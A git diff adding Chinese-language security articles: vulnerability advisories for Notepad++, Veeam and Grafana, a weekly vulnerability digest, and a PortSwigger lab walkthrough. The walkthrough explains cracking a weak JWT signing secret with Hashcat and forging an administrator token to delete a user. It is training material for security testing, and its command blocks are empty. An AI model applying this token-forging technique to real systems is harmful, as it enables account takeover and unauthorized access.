+**4、强化本地保护机制：结合用户权限控制、安装时 UAC 弹出提示等机制阻挡本地投毒路径。**
+
+**5、提升警惕：定期清理 Downloads 文件夹，不随意执行下载的 EXE 和 DLL；企业可结合 EDR 工具拦截异常加载行为。**
+
+此外，开发人员和系统管理员可参考以下建议：
+- **使用绝对路径**
+：确保所有可执行文件的调用使用绝对路径，避免从当前工作目录加载。
+
+- **数字签名验证**
+：实施文件数字签名验证，确保加载的文件来源可信。
+
+- **安全临时目录**
+：使用随机化的临时目录名称，减少攻击者植入恶意文件的可能性。
+
+## 相关漏洞与对比
+
+该漏洞与以下类似漏洞有一定关联：
+- CVE-2023-6401：涉及类似二进制植入问题。
+
+- CVE-2023-47452：特权提升漏洞。
+
+- CVE-2024-44346：相关软件中的类似问题。
+
+- Dell SupportAssist (DSA-2024-312)：涉及安装程序的安全性问题。
+
+这些漏洞均强调了安装程序中未受控制搜索路径的潜在风险，值得注意。
+## 时间线与发布信息
+
+根据调查，该漏洞首次发布于 2025 年 5 月 5 日，NVD 于 2025 年 6 月 23 日记录了相关变更（NVD Change Record）。公开信息显示，GitHub 安全咨询也在近期更新，详细描述了漏洞详情**GitHub Advisory**
+：
+```
+https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24
+```
+## 漏洞总结
+
+字段 详情 CVE ID CVE-2025-49144 软件包 Notepad++ (Windows) 受影响版本 v8.8.1 及更早 修复版本 v8.8.2 漏洞类型 未受控制 EXE/DLL 搜索路径 (Binary Planting) 影响 本地特权提升至 NT AUTHORITY\SYSTEM 发布日期 2025-05-05 严重性 高 CVSS v3 分数 AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, 评分为 7.8/10 攻击方法 攻击者植入恶意文件，用户运行安装程序，加载恶意文件以 SYSTEM 权限执行 PoC 公开 类似漏洞 CVE-2023-6401, CVE-2023-47452, CVE-2024-44346, Dell DSA-2024-312
+## 网络安全情报攻防站
+
+
+李白你好VIP社区-
+网络安全资源社区
+
+https://www.libaisec.com/
+
+代理访问效果更佳
+
+
+
+
diff --git a/doc/2025-06/漏洞预警 Veeam Backup & Replication远程代码执行漏洞.md b/doc/2025-06/漏洞预警 Veeam Backup & Replication远程代码执行漏洞.md
new file mode 100644
index 00000000..31753338
--- /dev/null
+++ b/doc/2025-06/漏洞预警 Veeam Backup & Replication远程代码执行漏洞.md
@@ -0,0 +1,44 @@
+# 漏洞预警 | Veeam Backup & Replication远程代码执行漏洞
+浅安 浅安安全 2025-06-24 00:01
+
+# 0x00 漏洞编号
+- # CVE-2025-23121
+
+**0x01 危险等级**
+- 高危
+
+**0x02 漏洞概述**
+
+Veeam Backup & Replication是一款功能强大的数据备份与恢复软件，它不仅可以保护虚拟化环境，还提供了跨平台的备份支持，为企业提供强大的数据保护功能，包括快速备份、即时恢复、灾难恢复和复制等功能，旨在确保数据的高可用性和业务的持续性。
+
+
+
+**0x03 漏洞详情**
+###
+
+**CVE-2025-23121**
+
+**漏洞类型：**
+远程代码执行
+
+**影响：**
+执行任意代码
+
+**简述：**
+V
+eeam Backup & Replication存在远程代码执行漏洞，该漏洞允许经过身份验证的域用户在Veeam Backup & Replication备份服务器上执行任意代码。
+
+**0x04 影响版本**
+- Veeam Backup & Replication <= 12.3.1.1139
+
+**0x05****POC状态**
+- 未公开
+
+**0x06****修复建议**
+
+**目前官方已发布漏洞修复版本，建议用户关注官方动态****：**
+
+https://www.veeam.com/
+
+
+
diff --git a/doc/2025-06/破解 JWT：漏洞赏金猎人指南（第二部分）.md b/doc/2025-06/破解 JWT：漏洞赏金猎人指南（第二部分）.md
new file mode 100644
index 00000000..c87f57a1
--- /dev/null
+++ b/doc/2025-06/破解 JWT：漏洞赏金猎人指南（第二部分）.md
@@ -0,0 +1,327 @@
+# 破解 JWT：漏洞赏金猎人指南（第二部分）
+haidragon 安全狗的自我修养 2025-06-24 04:45
+
+# 通过弱签名密钥绕过 JWT 身份验证以获取 Bug Bounty，通过在易受攻击的 Web 应用程序中强制使用弱 JWT 机密来伪造管理员访问权限。
+## 前 言：破解 JWT 系列
+
+欢迎来到我正在进行的“破解 JWT”漏洞赏金利用系列的第 2 部分——深入探讨不良加密实践和 Web 身份验证系统交叉点上的漏洞。
+
+JWT（JSON Web Tokens）无处不在——从现代 Web 应用程序到 API 身份验证——但如果实施不当，它们就会成为攻击者的金矿。本系列教程包含多个部分，将带您探索 7 个以上基于真实世界的实验，涵盖从存在缺陷的验证和算法混淆，到可暴力破解的密钥和公钥配置错误等各种问题。
+
+这是第 1 篇文章的链接。
+
+
+
+文章索引
+
+
+如果您是漏洞赏金猎人、安全研究员，或者只是渴望了解 JWT 是如何被攻破的 —— 那么这篇文章就适合您。🧠💣
+
+
+
+# ✨ 简介
+
+JSON Web Tokens (JWT) 在 Web 应用程序中用于维护会话和身份信息，非常流行。但与任何安全机制一样，JWT 的安全性取决于其实现方式。在本文中，我将带您完成一个动手实验，通过暴力破解一个弱对称签名密钥并伪造一个有效的管理员令牌来绕过 JWT 身份验证。💥
+
+是的，我又在这个实验室里把卡洛斯删掉了。卡洛斯永远是卡洛斯。😤
+
+
+
+破解 JWT：漏洞赏金猎人指南（第二部分）
+
+
+
+
+# 🔐 JWT 简介：快速复习
+
+典型的 JWT 由 3 个以点分隔的 base64 编码部分组成：
+```
+```
+```
+```
+# 1. 标题
+
+包含有关所用算法的元数据：
+
+{
+
+"alg"
+:
+
+"HS256"
+,
+
+"typ"
+:
+
+"JWT"
+
+}
+# 2. 有效载荷
+
+存储有关用户的声明：
+
+{
+
+"sub"
+:
+
+"wiener"
+,
+
+"admin"
+:
+
+false
+
+}
+# 3.签名
+
+使用密钥以加密方式验证令牌是否被篡改。
+
+
+
+# 🧠 了解漏洞
+
+PortSwigger Academy 实验室向我们展示了一个经典漏洞：使用弱对称密钥 ( secret1) 签名的 JWT。如果我们能够暴力破解该密钥，就能签署自己的令牌，并冒充任何用户，包括管理员。😎
+
+这种缺陷在现实世界的应用程序中极其常见，开发人员：
+- 硬编码秘密
+- 使用弱/密码式密钥
+- 不要旋转或安全存储签名材料
+让我们打破这个实验室并将那个弱密钥转变为完全的管理控制权。
+
+
+
+# 🧪 实验室概述
+
+实验室名称：通过弱签名密钥绕过 JWT 身份验证平台：PortSwigger Web 安全学院目标：暴力破解 JWT 签名密钥，伪造管理员令牌并删除carlos
+
+
+
+# 🧰 你需要的工具
+- 🧩 Burp Suite（带有 JWT 编辑器扩展）
+- ⚔️ Hashcat（暴力破解 JWT 秘密）
+- 🔐 Wallarm 的 jwt-secrets 列表
+# ✅ 漏洞利用步骤
+> ⚠️ 在我们开始之前，请确保在 Burp 中设置了 JWT 编辑器扩展。
+
+
+
+
+# 1️⃣ 进入实验室
+
+访问提供的实验室 URL 并使用以下方式登录：wiener:peter
+
+
+
+
+
+
+# 2️⃣ 尝试访问/admin
+
+尝试直接访问 — 您将收到 403 或重定向。目前尚无管理员权限。
+
+
+
+
+
+
+# 3️ 捕获 JWT
+
+在 Burp 中，拦截对 的请求/admin，然后将其发送到 Repeater。检查 Authorization 标头——这就是我们的目标 JWT。
+
+
+
+
+
+
+# 4️⃣ 暴力破解 JWT 密钥
+
+克隆秘密列表：
+```
+```
+
+运行 Hashcat：
+```
+```
+
+
+
+
+💥 Boom — 我们破解了秘密：
+
+secret1
+> 💡 运行--show即可揭示破解的秘密，无需重新处理。
+
+
+
+
+# 5️⃣ Base64 编码秘密
+
+使用 Burp Decoder 编码secret1为 base64：
+
+Result
+ → c2VjcmV0MQ==
+
+
+
+
+
+
+# 6️⃣ 在 Burp 中生成对称密钥
+
+JWT 编辑器 → 密钥 → 新建对称密钥
+- 生成新密钥
+- 将参数替换k为c2VjcmV0MQ==
+- 保存密钥
+# 7️⃣ 修改并签名令牌
+
+在 Burp Repeater → JWT 选项卡中：
+- 更改"sub"为"administrator"
+- 点击签名→选择对称密钥
+- 勾选“不要修改标题”
+- 点击“确定”
+# 8️⃣ 发送修改后的请求
+
+将签名的 JWT 请求发送至/admin🎉 成功 — 授予管理员访问权限。
+
+
+
+
+
+
+# 9️⃣ 删除卡洛斯
+
+发送此 GET 请求：
+
+/admin/delete?username=carlos
+
+🗑️ 抱歉，卡洛斯，你跑得很好。
+
+
+
+
+
+
+# 🔟确认实验室完成
+
+右键单击 → 在浏览器中显示 → 确认实验成功。🏁 大功告成！
+
+
+
+
+
+
+# 📌 关键要点
+
+✅ 弱 JWT 密钥 = 严重的身份验证绕过
+
+✅ 始终正确使用 base64 加密你的密钥
+
+✅ Hashcat + Burp 等工具 = 致命组合
+
+✅ 永远不要低估代币逻辑中的小疏忽
+
+
+
+# 🌍 现实世界的相关性
+
+JWT 是现代应用程序中的主要内容，但它们的实现通常很差：
+- 薄弱/可猜测的秘密
+- 移动应用中的硬编码令牌
+- 缺乏alg执法
+这些疏忽可能意味着全面入侵——账户接管、权限提升、数据窃取。在 VAPT 或赏金工作期间，务必对 JWT 进行批判性分析。🧠💼
+
+
+
+# 🙌 祝您黑客愉快！
+
+这就是我的 JWT 绕过系列的第二部分！从alg: none密钥破解开始，我们正在慢慢揭开错误配置的 JWT 的真正脆弱性。
+
+
+
+
+
+
+
+
+
+#
+
+
+
+
+
+rust语言全栈开发视频教程-第一季(2025最新)
+
+
+
+
+
+
+
+# 详细目录
+# mac/ios安全视频
+
+
+# QT开发底层原理与安全逆向视频教程
+
+
+
+linux文件系统存储与文件过滤安全开发视频教程(2024最新)
+
+
+
+linux高级usb安全开发与源码分析视频教程
+
+
+
+linux程序设计与安全开发
+
+
+
+- 
+
+- #
+
+-
+- windows网络安全防火墙与虚拟网卡（更新完成）
+
+- 
+
+- windows文件过滤(更新完成)
+
+- 
+
+- USB过滤(更新完成)
+
+- 
+
+- 游戏安全(更新中)
+
+- 
+
+- ios逆向
+
+- 
+
+- windbg
+
+- 
+
+- 还有很多免费教程(限学员)
+
+-
+-
+-
+- windows恶意软件开发与对抗视频教程
+
+-
+- 
+
+- 
+
+-
+- 
+
diff --git a/doc/2025-06/超过46000个Grafana实例暴露于账户接管漏洞.md b/doc/2025-06/超过46000个Grafana实例暴露于账户接管漏洞.md
new file mode 100644
index 00000000..f9136ae2
--- /dev/null
+++ b/doc/2025-06/超过46000个Grafana实例暴露于账户接管漏洞.md
@@ -0,0 +1,43 @@
+# 超过46000个Grafana实例暴露于账户接管漏洞
+胡金鱼 嘶吼专业版 2025-06-24 06:00
+
+
+
+超过46000个暴露在互联网上的Grafana实例未打补丁，面临客户端开放重定向漏洞的威胁，该漏洞允许执行恶意插件并进行账户接管。
+
+该漏洞被追踪为CVE-2025-4123，并影响用于监控和可视化基础设施和应用程序指标的多个版本的开源平台。这个漏洞是由漏洞赏金猎人Alvaro Balada发现的，并在Grafana Labs5月21日发布的安全更新中得到了解决。
+
+然而，据应用安全公司OX security的研究人员称，截至撰写本文时，超过三分之一的公共互联网上可访问的Grafana实例尚未打补丁，他们将该漏洞称为“Grafana Ghost”。
+
+分析师表示，他们的工作重点是展示将Balada的发现武器化的能力。在确定易受攻击的版本后，他们通过将数据与平台在整个生态系统中的分布相关联来评估风险。
+
+他们发现128864个实例在线暴露，其中46506个实例仍在运行可被利用的易受攻击版本。这相当于约36%的百分比。
+
+OX Security对CVE-2025-4123的深入分析发现，通过一系列利用步骤，结合客户端路径遍历和开放重定向机制，攻击者可以引诱受害者点击url，从而从威胁行为者控制的网站加载恶意Grafana插件。
+
+研究人员说，恶意链接可以用来在用户的浏览器中执行任意JavaScript。
+
+
+
+开发过程
+
+该漏洞不需要提升权限，即使启用了匿名访问也可以发挥作用。该漏洞允许攻击者劫持用户会话，更改帐户凭证，并且，在安装了Grafana Image Renderer插件的情况下，执行服务器端请求伪造（SSRF）来读取内部资源。
+
+虽然Grafana默认的内容安全策略（CSP）提供了一些保护，但由于客户端执行的限制，它不能防止利用。
+
+OX Security的漏洞证明了CVE-2025-4123可以在客户端被利用，并且可以通过原生到Grafana的JavaScript路由逻辑来绕过现代浏览器规范化机制。
+
+这使得攻击者可以利用URL处理不一致来提供恶意插件，从而修改用户的电子邮件地址，从而通过重置密码来劫持帐户。
+
+尽管CVE-2025-4123有几个攻击要求，比如用户交互，受害者点击链接时的活跃用户会话，以及启用插件功能（默认启用），但大量暴露的实例和缺乏身份验证的需要创造了一个重要的攻击面。
+
+为了降低被利用的风险，建议Grafana管理员升级到10.4.18+security-01、11.2.9+security-01、11.3.6+security-01、11.4.4+security-01、11.5.4+security-01、11.6.1+security-01和12.0.0+security-01版本。
+
+参考及来源：
+https://www.bleepingcomputer.com/news/security/over-46-000-grafana-instances-exposed-to-account-takeover-bug/
+
+
+
+
+
+
diff --git a/doc/2025-06/雷神众测漏洞周报2025.6.16-2025.6.22.md b/doc/2025-06/雷神众测漏洞周报2025.6.16-2025.6.22.md
new file mode 100644
index 00000000..6a0d2e70
--- /dev/null
+++ b/doc/2025-06/雷神众测漏洞周报2025.6.16-2025.6.22.md
@@ -0,0 +1,159 @@
+# 雷神众测漏洞周报2025.6.16-2025.6.22
+雷神众测 雷神众测 2025-06-24 07:59
+
+摘要
+
+
+以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。
+
+
+雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。
+
+
+目录
+
+
+**1.泛微E-cology9存在远程代码执行漏洞**
+
+**2.武汉达梦数据库股份有限公司达梦新云缓存数据库存在二进制漏洞**
+
+**3.WordPress CozyStay plugin反序列化漏洞**
+
+**4.用友网络科技股份有限公司YonBIP代码执行漏洞**
+
+
+漏洞详情
+
+**1.泛微E-cology9存在远程代码执行漏洞**
+
+
+漏洞介绍：
+
+泛微E-cology9是一款企业级协同办公（OA）平台，核心定位是智能化、全程数字化的组织管理。
+
+
+漏洞危害：
+
+该漏洞由于E-cology9某接口参数可控且直接带入拼接SQL语句，导致SQL注入漏洞产生，结合该软件多采用SQLServer类型数据，攻击者可利用该漏洞向数据库中写入数据，并导出Webshell，实现远程代码执行，进而获取服务器权限。
+
+
+影响范围：
+
+泛微E-cology9 补丁版本 < v10.75
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源:
+安恒信息CERT
+
+**2.武汉达梦数据库股份有限公司达梦新云缓存数据库存在二进制漏洞**
+
+
+漏洞介绍：
+
+达梦新云缓存数据库是自主研发的深度兼容原生Redis的Key-Value数据库。
+
+
+漏洞危害：
+
+武汉达梦数据库股份有限公司达梦新云缓存数据库存在二进制漏洞，攻击者可利用该漏洞导致拒绝服务。
+
+
+影响范围：
+
+武汉达梦数据库股份有限公司 达梦新云缓存数据库 <=V1.0-20241213-c8d8c6a6
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源：
+CNVD
+
+
+**3.WordPress CozyStay plugin反序列化漏洞**
+
+
+漏洞介绍：
+
+WordPress和WordPress plugin都是WordPress基金会的产品。WordPress plugin是一个应用插件。
+
+
+漏洞危害：
+
+WordPress CozyStay plugin存在反序列化漏洞，该漏洞源于反序列化不可信数据，攻击者可利用该漏洞导致代码执行。
+
+
+漏洞编号：
+
+CVE-2025-49507
+
+
+影响范围：
+
+WordPress CozyStay plugin <1.7.1
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源：
+CNVD
+
+**4.用友网络科技股份有限公司YonBIP代码执行漏洞**
+
+
+漏洞介绍：
+
+用友网络科技股份有限公司YonBIP是用友研发的全新一代的产品，作为全球领先的企业数智化平台与应用软件。
+
+
+漏洞危害：
+
+用友网络科技股份有限公司YonBIP存在代码执行漏洞，攻击者可利用该漏洞执行任意代码。
+
+
+漏洞编号：
+
+CVE-2023-51906
+
+
+影响范围：
+
+用友网络科技股份有限公司 YonBIP v3_23.05
+
+
+修复方案：
+
+及时测试并升级到最新版本或升级版本
+
+
+来源：
+CNVD
+
+
+
+
+
+
+
+
+专注渗透测试技术
+
+全球最新网络攻击技术
+
+
+**END**
+
+
+
+
+